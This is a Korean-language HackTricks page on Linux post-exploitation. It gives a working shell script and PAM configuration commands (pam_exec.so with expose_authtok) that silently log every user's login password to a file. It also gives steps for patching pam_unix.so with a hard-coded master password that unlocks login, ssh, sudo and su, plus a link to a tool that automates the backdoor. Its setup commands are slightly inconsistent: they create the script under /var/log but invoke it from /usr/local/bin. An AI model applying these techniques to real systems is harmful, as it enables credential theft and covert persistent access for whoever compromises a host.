.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
리눅스 사후 침투
{% hint style="success" %}
AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원
- 구독 요금제를 확인하세요!
- 💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
PAM을 사용하여 로그온 암호 스니핑
각 사용자가 로그인할 때 사용하는 암호를 기록하기 위해 PAM 모듈을 구성해 봅시다. PAM이 무엇인지 모르는 경우:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
자세한 내용은 원본 게시물을 확인하세요. 이것은 간략한 요약입니다:
기술 개요: Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증을 관리하는 유연성을 제공합니다. 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만 오용될 경우 위험을 초래할 수도 있습니다. 이 요약은 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 개요합니다.
자격 증명 캡처:
toomanysecrets.sh
라는 bash 스크립트가 작성되어 로그인 시도를 기록하고, 날짜, 사용자 이름($PAM_USER
), 암호 (stdin을 통해), 원격 호스트 IP($PAM_RHOST
)를/var/log/toomanysecrets.log
에 기록합니다.- 스크립트를 실행 가능하게 만들고,
pam_exec.so
모듈을 사용하여 PAM 구성(common-auth
)에 조용히 실행되도록하고 스크립트에 인증 토큰을 노출하는 옵션을 추가합니다. - 이 접근 방식은 침해당한 Linux 호스트가 암호를 은밀하게 기록하는 방법을 보여줍니다.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
PAM에 백도어 설치
**자세한 내용은 원본 게시물**을 확인하십시오. 이것은 간략한 요약입니다:
Pluggable Authentication Module (PAM)은 Linux에서 사용되는 시스템으로 사용자 인증에 사용됩니다. 사용자 이름, 암호, 서비스 세 가지 주요 개념에 작동합니다. 각 서비스의 구성 파일은 /etc/pam.d/
디렉토리에 있으며, 공유 라이브러리가 인증을 처리합니다.
목표: PAM을 수정하여 특정 암호로 인증을 허용하고 실제 사용자 암호를 우회합니다. 이는 주로 대부분의 서비스에서 암호 확인을 위해 사용되는 common-auth
파일에서 사용되는 pam_unix.so
공유 라이브러리에 초점을 맞춥니다.
pam_unix.so
수정 단계:
common-auth
파일에서 인증 지시문 찾기:
- 사용자의 암호를 확인하는 책임이 있는 줄이
pam_unix.so
를 호출합니다.
- 소스 코드 수정:
pam_unix_auth.c
소스 파일에 조건문을 추가하여 미리 정의된 암호를 사용하면 액세스를 허용하고, 그렇지 않으면 일반적인 인증 프로세스를 진행합니다.
- 수정된
pam_unix.so
라이브러리 다시 컴파일 및 교체:
- 적절한 디렉토리에 수정된
pam_unix.so
라이브러리를 다시 컴파일하고 교체합니다.
- 테스트:
- 미리 정의된 암호로 다양한 서비스(로그인, ssh, sudo, su, 스크린 세이버)에 액세스가 허용되지만, 일반적인 인증 프로세스는 영향을 받지 않습니다.
{% hint style="info" %} https://github.com/zephrax/linux-pam-backdoor를 사용하여 이 프로세스를 자동화할 수 있습니다. {% endhint %}